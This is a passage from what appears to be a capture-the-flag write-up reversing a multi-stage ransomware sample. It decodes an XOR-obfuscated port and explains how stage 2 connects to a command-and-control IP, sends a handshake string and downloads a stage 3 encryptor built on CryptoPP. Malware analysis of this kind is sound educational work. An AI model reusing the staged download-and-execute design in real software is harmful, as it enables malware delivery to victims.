0x00401043 mov dword [esp + 0x1c], 0x2bbfde5a
0x0040104b movaps xmm1, xmmword [esp + 0x10]
0x00401050 pxor xmm1, xmmword [esp]
0x00401055 movaps xmmword [esp], xmm1
0x00401059 mov dword [0x40a3f8], eax
0x0040105e mov esp, ebp
0x00401060 pop ebp
data_buf = p32(0xb9306f24) + p32(0xa22767d7) + p32(0xcd82d7c6) + p32(0x2bbfde5a) # [esp] to [esp + 0x10]
key = p32(0x8e035c15) + p32(0xa22767d7) + p32(0xcd82d7c6) + p32(0x2bbfde5a) # [esp + 0x10] to [esp + 0x1f]
print(xor(data_buf, key))
This gives us b'1337\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'
, or port 1337!
Getting the stage 3 binary #
We have a pretty good idea of what the stage 2 binary is doing now:
- Make a TCP connection to 35.241.159.62 port 1337.
- Send the string
KADMKLAFD:LSM$OPM@FLK:FM!N$@N$
over the connection. - Receive some data into a buffer, 0x400 bytes at a time, to a maximum length of 0x6b200 bytes.
We can write a simple Python script which does the same thing. (I won’t include one here, since my script was almost exactly the same as the one in
ret2school’s writeup. If we write the received data to a file and open it up in Cutter, we can see that the downloaded file is yet another executable! (Again, if you’re following along, you can download the file (stage3.exe
) from my
repository for this writeup.)
The good news is that the downloaded binary actually has symbols in it that look like they’re from a C++ cryptography library, CryptoPP, which means (hopefully) that this is the stage of our ransomware which actually does what ransomware normally does: encrypt your files. The bad news is that it looks like this library has quite a deep inheritance tree with many subclasses which share the same functions from the parent class, which may take a while to reverse as we sort out how the library is actually used.
We can see the ridiculous levels of dynamic dispatch here from Cutter helpfully walking through the C++ inheritance trees for us and placing, next to each function, all the symbol names that eventually resolve to that function, leading to some functions which are shared by many classes that look like this:
Conclusion #
Next time in Part B of this writeup, we’ll dive into the Stage 3 binary, figure out how it’s encrypting the files it’s provided, and figuring out how to get the original information back.
Please leave a comment below if you have questions about the post or corrections to make about anything I wrote here. Stay tuned, and thanks for reading!